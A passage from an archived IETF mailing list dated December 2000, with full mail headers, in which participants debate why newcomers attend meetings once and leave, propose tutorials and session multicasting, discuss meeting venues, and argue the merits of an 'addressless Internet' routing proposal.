Internet-Standards Process and Newcommer's Orientation presentation. Plus be advised that they should attend the orientation on Sunday. I remember my first trip to IETF. I thought that I could simply arrive and get a standard adopted. That was three years ago. Many RFCs later I'm still here. But it is not because involving myself in the IETF was easy. For a long time I felt like an outsider. Even after attending a year's worth of meetings. But I kept attending because I had something that I wanted/needed to accomplish. I think the important point to remember is that we attend IETF to accomplish a specific technical goal (developing an internet standard). We are not here to be a part of a fraternity;to find a job; not to find employees; to find authors; to disrupt others; ... I welcome all to attend IETF meetings. But I want people to attend that are going to do work; not make it more difficult for me to accomplish my work. If people come to IETF unprepared and without the intention to actively contribute to standards development and then leave disappointed and frustrated, I'm not sure that is a bad thing. From owner-ietf-outbound Wed Dec 20 14:31:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11940 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 14:30:02 -0500 (EST) Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09856 for ; Wed, 20 Dec 2000 13:46:01 -0500 (EST) Received: from condryvaio-desk.intel.com (condryvaio-desk.jf.intel.com [134.134.159.175]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.33 2000/11/21 19:27:27 smothers Exp $) with ESMTP id KAA16547; Wed, 20 Dec 2000 10:45:20 -0800 (PST) Message-Id: <5.0.2.1.2.20001220103914.00af3cc0@FMSMSX63.fm.intel.com> X-Sender: mwcondry@FMSMSX63.fm.intel.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Wed, 20 Dec 2000 10:43:04 -0800 To: Keith Moore , Brian E Carpenter From: "Michael W. Condry" Subject: Re: Bottom feeders Cc: John Beck , Keith Moore , ietf@ietf.org In-Reply-To: <200012201728.MAA23686@astro.cs.utk.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org A couple of years ago I did a study on IETF attendance - the data was gathered from the IETF web site looking at email addresses for folks attending. Of the 15 or so ompanies that were examined almost all attendees were almost always "repeaters". I cannot be more specific because the report still has a proprietary label on it. The only year where the "one timers" spiked was for the San Jose meeting. At 12:26 PM 12/20/2000 -0500, Keith Moore wrote: > > We *should* worry about people who come to the IETF once and never come > > back - because they probably came to the wrong meeting, and went home > > unhappy. > >interesting idea. > >so assuming that a lot of folks come to the IETF expecting something >different than it is, and going home disappointed, what can we do to >make future prospective attendees more aware of what they're getting into? > >Keith Michael W. Condry Director, Internet Strategy 2111 N.E. 25th Ave. JF3-206 Hillsboro, OR 97124-5961 Phone: (503) 264-9019 FAX: (503) 264-3483 Email: condry@intel.com From owner-ietf-outbound Wed Dec 20 14:41:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA12291 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 14:40:02 -0500 (EST) Received: from mako1.telstra.net (mako1.telstra.net [203.50.0.28]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09989 for ; Wed, 20 Dec 2000 13:48:16 -0500 (EST) Received: from tecra.telstra.net ([203.10.60.4]) by mako1.telstra.net (8.9.2/8.9.2) with ESMTP id FAA26781; Thu, 21 Dec 2000 05:47:37 +1100 (EST) (envelope-from gih@telstra.net) Message-Id: <4.3.2.7.2.20001221054126.00b1fc80@jumble.telstra.net> X-Sender: gih@jumble.telstra.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 21 Dec 2000 05:46:56 +1100 To: "Henk Uijterwaal (RIPE-NCC)" From: Geoff Huston Subject: Re: IETF logistics Cc: ietf@ietf.org In-Reply-To: References: <5.0.2.1.2.20001219153023.02a26230@mail.gte.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org >If people want tutorials, then I think we should have them Did you see the Security Tutorial in the IETF 49 Agenda that was scheduled on Sunday? I'm unsure as to the number of folk who attended or their impressions of what they got out of it, or what the IETF fgot out of it, as I have not spoken to many people afterwards, but I mention it only in the context of replacing 'should" with "we have done so, albeit in a limited way as an initial exercise". regards, Geoff From owner-ietf-outbound Wed Dec 20 15:11:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA13180 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 15:10:03 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11481 for ; Wed, 20 Dec 2000 14:22:00 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 148olP-00015t-00; Wed, 20 Dec 2000 19:18:59 +0000 Date: Wed, 20 Dec 2000 19:18:57 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Keith Moore cc: Brian E Carpenter , John Beck , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: <200012201728.MAA23686@astro.cs.utk.edu> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Wed, 20 Dec 2000, Keith Moore wrote: > > We *should* worry about people who come to the IETF once and never come > > back - because they probably came to the wrong meeting, and went home > > unhappy. > > interesting idea. > > so assuming that a lot of folks come to the IETF expecting something > different than it is, and going home disappointed, what can we do to > make future prospective attendees more aware of what they're getting into? Don't make them more aware at all. All the work is done on the mailing lists, yes? Only post information about IETF meet locations etc. to those mailing lists. Do not link to event registration pages from www.ietf.org. If they're not on any mailing list, why would they want to come anyway? L. 'Thirdly, there was often confusion about how to get involved in IETF standards effort, submit requirements, and get delivery commitments.' -- RFC3002 can be quite unintentionally hilarious at times. PGP From owner-ietf-outbound Wed Dec 20 15:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA13754 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 15:30:03 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11675 for ; Wed, 20 Dec 2000 14:25:28 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA24783; Wed, 20 Dec 2000 14:24:03 -0500 (EST) Message-Id: <200012201924.OAA24783@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Michael W. Condry" cc: Keith Moore , Brian E Carpenter , John Beck , ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Wed, 20 Dec 2000 10:43:04 PST." <5.0.2.1.2.20001220103914.00af3cc0@FMSMSX63.fm.intel.com> Date: Wed, 20 Dec 2000 14:22:48 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org it's interesting that you chose to examine attendees according to their (presumed) "companies", when IETF doesn't recognize such affiliation. however it's hardly surprising if successful IETF folks gravitate to companies who are willing to support such work. Keith From owner-ietf-outbound Wed Dec 20 15:40:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA14150 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 15:40:04 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11819 for ; Wed, 20 Dec 2000 14:26:43 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA24848; Wed, 20 Dec 2000 14:26:34 -0500 (EST) Message-Id: <200012201926.OAA24848@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Robert G. Ferrell" cc: ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Wed, 20 Dec 2000 10:10:08 CST." <200012201610.KAA06833@rgfsparc.cr.usgs.gov> Date: Wed, 20 Dec 2000 14:25:19 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > The attitude being promulgated by the majority of these posts, > whether justified or not, is most likely to lead (IMO) > to IETF meetings populated by two distinct groups of people: > > 1) Old timers > 2) The clueless masses in my experience, clueful newbies are quite welcome at IETF, and very quickly get recruited to do useful work. but I do agree that to the extent we try to discourage clueless folks from coming, we need to make sure that we don't filter out clueful people in the process. keith From owner-ietf-outbound Wed Dec 20 15:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA14459 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 15:50:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12682 for ; Wed, 20 Dec 2000 14:54:26 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id LAA39558; Wed, 20 Dec 2000 11:47:07 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id LAA32476; Wed, 20 Dec 2000 11:52:10 -0800 Message-ID: <3A410D9A.6542C6EF@hursley.ibm.com> Date: Wed, 20 Dec 2000 13:50:50 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: "Michael W. Condry" CC: ietf@ietf.org Subject: Re: Bottom feeders References: <5.0.2.1.2.20001220103914.00af3cc0@FMSMSX63.fm.intel.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Michael, As I said, the Secretariat has the facts, but I think you will find that the complete data support the statememt that we have a high proportion of newbies. Which is not a bad thing in itself, but is a bad thing if they don't become contributors. Jeffrey Altmann expressed it very well. Brian "Michael W. Condry" wrote: > > A couple of years ago I did a study on IETF attendance - the data was > gathered from the IETF web site looking at email addresses for folks attending. > Of the 15 or so ompanies that were examined almost all attendees were > almost always "repeaters". I cannot be more specific because the report > still has a proprietary label on it. The only year where the "one timers" > spiked was for the San Jose meeting. > > At 12:26 PM 12/20/2000 -0500, Keith Moore wrote: > > > We *should* worry about people who come to the IETF once and never come > > > back - because they probably came to the wrong meeting, and went home > > > unhappy. > > > >interesting idea. > > > >so assuming that a lot of folks come to the IETF expecting something > >different than it is, and going home disappointed, what can we do to > >make future prospective attendees more aware of what they're getting into? > > > >Keith > > Michael W. Condry > Director, Internet Strategy > 2111 N.E. 25th Ave. > JF3-206 > Hillsboro, OR 97124-5961 > > Phone: (503) 264-9019 > FAX: (503) 264-3483 > Email: condry@intel.com From owner-ietf-outbound Wed Dec 20 16:00:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA14794 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 16:00:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12796 for ; Wed, 20 Dec 2000 14:56:12 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id LAA25308; Wed, 20 Dec 2000 11:50:39 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id LAA22338; Wed, 20 Dec 2000 11:55:42 -0800 Message-ID: <3A410E6E.B5506562@hursley.ibm.com> Date: Wed, 20 Dec 2000 13:54:22 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: Keith Moore CC: ietf@ietf.org Subject: Re: Bottom feeders References: <200012201728.MAA23686@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Keith Moore wrote: > > > We *should* worry about people who come to the IETF once and never come > > back - because they probably came to the wrong meeting, and went home > > unhappy. > > interesting idea. > > so assuming that a lot of folks come to the IETF expecting something > different than it is, and going home disappointed, what can we do to > make future prospective attendees more aware of what they're getting into? Hard to say, but the newcomer's briefing and the Tao of the IETF are both on the web site. Maybe we need some text on the registration page pointing to those and suggesting strongly that people should read them before typing in their credit card number. Brian From owner-ietf-outbound Wed Dec 20 16:10:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA15128 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 16:10:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA13013 for ; Wed, 20 Dec 2000 15:03:19 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA25292; Wed, 20 Dec 2000 15:03:17 -0500 (EST) Message-Id: <200012202003.PAA25292@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Brian E Carpenter cc: Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Wed, 20 Dec 2000 13:54:22 CST." <3A410E6E.B5506562@hursley.ibm.com> Date: Wed, 20 Dec 2000 15:02:02 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Hard to say, but the newcomer's briefing and the Tao of the IETF are > both on the web site. Maybe we need some text on the registration page > pointing to those and suggesting strongly that people should read them > before typing in their credit card number. maybe the registration form should have a short quiz on material from these documents, which must be filled out before the form is considered complete. and if not completed successfully the prospective registrant is warned that he may be wasting his money. Keith From owner-ietf-outbound Wed Dec 20 16:20:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA15466 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 16:20:02 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA13373 for ; Wed, 20 Dec 2000 15:17:16 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBKJHOG20353; Wed, 20 Dec 2000 11:17:24 -0800 From: Bill Manning Message-Id: <200012201917.eBKJHOG20353@zed.isi.edu> Subject: Re: IETF logistics To: gih@telstra.net (Geoff Huston) Date: Wed, 20 Dec 2000 11:17:24 -0800 (PST) Cc: henk@ripe.net ("Henk Uijterwaal (RIPE-NCC)"), ietf@ietf.org In-Reply-To: <4.3.2.7.2.20001221054126.00b1fc80@jumble.telstra.net> from "Geoff Huston" at Dec 21, 2000 05:46:56 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % spoken to many people afterwards, but I mention it only in the context of % replacing 'should" with "we have done so, albeit in a limited way as an % initial exercise". % % regards, % % Geoff The IETF has done many things in the past, some worked well, some not so. Wireless, IPv6 and multicast are all "experiments" that have gone on to something other than one-offs. Tutorial style sessions were popular during the IPv6 "cooling" phase as we settled on a single approch. I'd like to note that Ole's comment about "hijacking" the hotel conference channel(s) to retransmit the multicast sessions to hotel rooms was a real win the one time it was done. And with a nod to our commercial brethren, it might bre reasonable to retransmit sessions over some high-capacity, under-utilized infrastructure like the I2 fabric to reach more people. And given the lower costs for video-capture it ought to be possible to do more than two sessions at a go. Such would go a long way to keep Steve and/or the firemarshall from getting twitchy. -- --bill From owner-ietf-outbound Wed Dec 20 16:30:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA15922 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 16:30:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA13429 for ; Wed, 20 Dec 2000 15:18:36 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBKKIMCW13520; Wed, 20 Dec 2000 15:18:22 -0500 Message-Id: <200012202018.eBKKIMCW13520@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: RJ Atkinson Cc: Scott Brim , ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-Reply-To: Your message of "Tue, 19 Dec 2000 19:00:53 EST." <5.0.0.25.2.20001219185752.01bea910@gnat.inet.org> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> <5.0.0.25.2.20001219185752.01bea910@gnat.inet.org> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-733427232P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 20 Dec 2000 15:18:22 -0500 X-Loop: ietf@ietf.org --==_Exmh_-733427232P Content-Type: text/plain; charset=us-ascii On Tue, 19 Dec 2000 19:00:53 EST, RJ Atkinson said: > I've seen others do similarly. For example, I've > never run into Valdis at an IETF meeting, but he has an > impact. If anybody's seen me at an IETF meeting, they were talking to a Klingon impostor. As John Beck will testify, I don't mind travelling - as long as it's on somebody else's dollar. I've just never had a convergence of funding, personal time (little kids take up a lot of that ;), and a large desire to get something done that I wasn't able to accomplish via the mailing lists. On the other hand - as many people have stated, a lot of the REAL work gets done in the hallways and bars. I recently attended a meeting in Washington DC sponsored by the Center for Internet Security - the meeting was for the most part a yawner except for one slide that took all 4 of the VT contingent by surprise (but that's another story ;), but the 45 minutes or so of random discussion after the formal meeting was itself worth the 4 hour's drive each way. But I've never figured out how to put the right spin on it so I don't feel like I'm lying about why I'm going to an IETF... -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-733427232P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOkEUDXAt5Vm009ewEQIpUQCgjE4Ke2Kwtz1ZKd8uDEOrLQdUJ2QAoMm+ iDa3YzFoBUdBx030bllW6y62 =X0e/ -----END PGP SIGNATURE----- --==_Exmh_-733427232P-- From owner-ietf-outbound Wed Dec 20 16:40:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA16379 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 16:40:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA13676 for ; Wed, 20 Dec 2000 15:26:27 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBKJQhB20373; Wed, 20 Dec 2000 11:26:43 -0800 From: Bill Manning Message-Id: <200012201926.eBKJQhB20373@zed.isi.edu> Subject: Re: Bottom feeders To: jaltman@COLUMBIA.EDU Date: Wed, 20 Dec 2000 11:26:43 -0800 (PST) Cc: moore@cs.utk.edu (Keith Moore), brian@hursley.ibm.com (Brian E Carpenter), jbeck@eng.sun.com (John Beck), ietf@ietf.org In-Reply-To: from "Jeffrey Altman" at Dec 20, 2000 01:40:56 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % > > We *should* worry about people who come to the IETF once and never come % > > back - because they probably came to the wrong meeting, and went home % > > unhappy. % > > % > > Brian % > % > so assuming that a lot of folks come to the IETF expecting something % > different than it is, and going home disappointed, what can we do to % > make future prospective attendees more aware of what they're getting into? % > % > Keith % % I remember my first trip to IETF. I thought that I could simply % arrive and get a standard adopted. That was three years ago. Many % RFCs later I'm still here. But it is not because involving myself in % the IETF was easy. For a long time I felt like an outsider. Even % after attending a year's worth of meetings. But I kept attending % because I had something that I wanted/needed to accomplish. % % Jeffrey I enjoyed a much different experience. I was asked by a couple of WG chairs if I would be willing to take on tasks that needed to be done, was invited to share opinions and thoughts by folks on the IAB... as a first time attendee. Getting involved was easy. Those responsible encouraged new blood. Recent experience seems to indicate a "winnowing" process is now in effect, making it harder, perhaps much harder to allow individual contribution. If I was starting today, I'd avoid the IETF as a venue. --bill From owner-ietf-outbound Wed Dec 20 16:50:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA16659 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 16:50:02 -0500 (EST) Received: from ns.live.com (ns.live.com [208.184.148.162]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA13861 for ; Wed, 20 Dec 2000 15:32:25 -0500 (EST) Received: from rsf-laptop.live.com (dhcp2.danastreet.live.com [208.185.235.156]) by ns.live.com (8.9.3/8.9.3) with ESMTP id MAA71130 for ; Wed, 20 Dec 2000 12:32:26 -0800 (PST) (envelope-from finlayson@live.com) Message-Id: <4.3.1.1.20001220122150.00c403f0@localhost> X-Sender: rsf@localhost X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Wed, 20 Dec 2000 12:26:41 -0800 To: ietf@ietf.org From: Ross Finlayson Subject: Re: Ietf meeting in Italy? In-Reply-To: <3A409E46.85C4C525@cineca.it> References: <001501c06a09$f17b1840$443c623e@q1a7n0> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 03:55 AM 12/20/00, Roberto Ciacci wrote: >it would be a great event! Italy would be a great *location*, which is why an IETF meeting held there might not be a great *event*. Experience has taught us that holding IETF meetings in attractive locations (such as San Diego) can be counter-productive... Ross (who wisely skipped the San Diego meeting, but who's looking forward to Minneapolis in March :-) From owner-ietf-outbound Wed Dec 20 17:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA16988 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 17:00:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15219 for ; Wed, 20 Dec 2000 16:11:46 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id QAA03446; Wed, 20 Dec 2000 16:11:40 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id QAA14628; Wed, 20 Dec 2000 16:11:40 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id QAA21094; Wed, 20 Dec 2000 16:11:39 -0500 Date: Wed, 20 Dec 2000 16:11:39 -0500 From: V Guruprasad To: "Joel M. Halpern" Cc: ietf@ietf.org Subject: Re: Addressless Internet [stalker alert..] Message-ID: <20001220161139.A21022@bubble.watson.ibm.com> References: <20001220194440.GLXP2402.mtiwmhc21.worldnet.att.net@webmail.worldnet.att.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20001220194440.GLXP2402.mtiwmhc21.worldnet.att.net@webmail.worldnet.att.net>; from joel@longsys.com on Mon, Dec 18, 2000 at 15:19:04 -0500 X-Loop: ietf@ietf.org I've taken the liberty of posting it to the mailing list as IMHO the issues Joel raises are very pertinent and I believe worthy of general consumption. [Also, I use colourful syntax highlighting in Vim under Mutt, which makes it easy for me to view the inline quotation. I realise it will look plain b&w and long on the web page (and Lotus Notes ;), so my apologies in advance.] sincerely, -p. ------------------- On Mon, 18 Dec 2000, Joel M. Halpern wrote: > It appears that the path the communication takes is related to the path > among ACS used to resolve the virtual name down to its next level of > realization. > If so, given that the ACS hops are picked without any destination > knowledge, it seems that the path chosen may very well be distinctly longer > and more resource consuming than one would like. If this were just a > discovery path, that would not be a problem. But it becomes locked in as > the virtual communication path between the entities. > > Is this correct? [This issue is stated in Section 2.3.7, 2nd bullet.] No, because the translation process is orthogonal to the ACS path (Section 1.5) so that the data path can be quite far from the ACS path depending on the coverage of the translation rulebase at each of the ACS nodes. Consider two extreme cases: * bad case: Each ACS node is sitting next to a switch and knows only about this and the switches of the adjacent ACS nodes. This describes what you said, but the only place one would use this is where there are no other switches (or routers) anyway. E.g. for intranet within a very small company. * good case: Consider an ACS node in LA, Chicago, NYC and Miami, with switches in LA, Chicago, Austin (TX) and Ft Lauderdale. Student in Dade county dials up with her "home ACS" configured as Miami, looks up coursework posted at http://chicago/ucla/e6998, i.e. in the Chicago ACS node, by UCLA server presumably in LA. The ACS path is home-Miami-Chicago-LA-UCLA. If we did a poor job of translation, we'd get the longer path home-Ft Lauderdale-Chicago-LA-UCLA instead of home-Ft Lauderdale-Austin-LA-UCLA Now all that's needed to pick the latter path is to have translation rules at the Chicago ACS node identifying Austin as a usable switch with a shorter distance metric (see attribute grammar description, section 2.4.5 of the I-D) > When Noel Chiappa laid out the Nimrod work, similar results were evident > for default flows. There were several ways to cope with this: > 1) The paths were tied to administrative boundaries, not tied to servers, > so it was less of an issue. That's kind of like the "bad case" above. > 2) One could easily create and make use of shortcuts between domains. Shortcuts are transparently supported even in the ACS plane - Sections 2.3.9, 2.3.10. Section 2.4.5 shows how transport plane shortcuts would be encoded in the translation rulebase. > 3) there were ways to set up explicit paths for common cases. The rulebases are readily handcrafted for special or common cases. > Do you have some similar capabilities in mind for what you are looking at? Above. > As a separate matter, every communication requires traversal of server > resources and connection setup resources in addition to the actual > communication. One of the points made by Ross Callon in discussing ATM > usage is that it is very useful if there is an easy way to send short > datagrams, in addition to a harder way to set up paths when they are > useful. In your context ACS queries and path setups are much more > expensive than DNS queries, so they do add significant overhead to the No way! The 2-way stitching algorithm (Section 2.4.1) combines path signalling with the ACS "lookup", but that's only to explain the basic principle of addressless connectivity. It's not intended to be the "production approach". The correct approach is the delayed/avoided signalling (Section 2.4.2), where the path signalling is not done at all in the "lookup" or "forward passage" phase, and the "lookup" itself can carry a short message payload (SMS - short message service, in ATM/GSM-MAP/SS7 terminology). The performance is exactly the number of hops taken by the ACS transit. In combination with the ACS shortcuts (Sections 2.3.9 and 2.3.10), you'd have the page carried to the destination in roughly the same time as an IP datagram, but recall that for the latter, we very often need to do a separate DNS lookup first. > communication establishment phase. Could your mechanism be linked to some > lighter weight datagram mode for short communication? Or would that Section 2.4.2. > require the very addresses that you are trying to abolish? You claim that > your mechanism can do this by handling messages in the ACS. But the ACS is > a request handler, not a message forwarder. And the information for The way it handles requests *is* by forwarding messages... [ "but they're *in* the well" - Alice, in Wonderland, of course] > forwarding requests in the ACS is complex strings. There is no way that > will be performance competitive with datagram routing. In fact, if there > were any significant rate of "paging" messages, ACS would just be routers, Yes, if the traffic were largely paging messages, the ACS would be essentially routing. But in that case, they would not be doing signalling either, so their implementations would be best optimised differently. Btw, there is nothing in the architecture to require the ACS tree to be unique - your request gets interpreted by the ACS tree to which your configured "home ACS node" belongs. On basis of your remarks, I'd recommend a differently optimised ACS tree for paging service providers... [point for next revision, thanks] Also, it's not clear to me that the fact of using strings would make it less efficient - I'm thinking of path name strings equal to DNS path names, you'd have to do that much of string parsing and lookup in either case. Or that the length of the strings makes it slower to transmit - e.g. if I were to use AAL5 links to configure my ACS tree, there would be no issue of packet size. I think the real difference lies in the possibility of directly using IP addresses for the paging datagrams, and not doing DNS lookups at all. This is not applicable to clients (unless we're looking at android customers), but it would be to a paging-style "push server", but this appears to be a somewhat special area, which is currently commercially addressed by pre-IP technologies so to speak. I suspect there will be ways to get around this problem. Another point, particularly with respect to ATM now that you mention it, is that the need for SMS becomes acute with ATM (and is not satisfied AFAIK), primarily because of the complexity of the ATM signalling protocols. Both the PNNI and UNI Signalling 4.0 specs mention "broad-side on signalling", but they don't specify it! > and your virtual addresses would have become real addresses, since they > would be the fields on which the packets were forwarded. I do point this out in Section 2.1 that the best that can be had is indirection; this you still have even with paging, as the service "URLs" do not identify the server hosts. The only way the indirection can disappear is if the final ACS path is percolated all the way back to the client for caching, which I would not recommend at the client end because the security loss could offset the performance gain (Section 2.3.9). Maybe ok for push servers - at this point, I don't know. Notwithstanding such issues, I still feel that this is a fundamental alternative that goes way beyond Triad (I did, back in '95-96) and Nimrod, and would beg you all to consider further. thanks, -p. From owner-ietf-outbound Wed Dec 20 17:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA17360 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 17:10:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15231 for ; Wed, 20 Dec 2000 16:12:01 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST 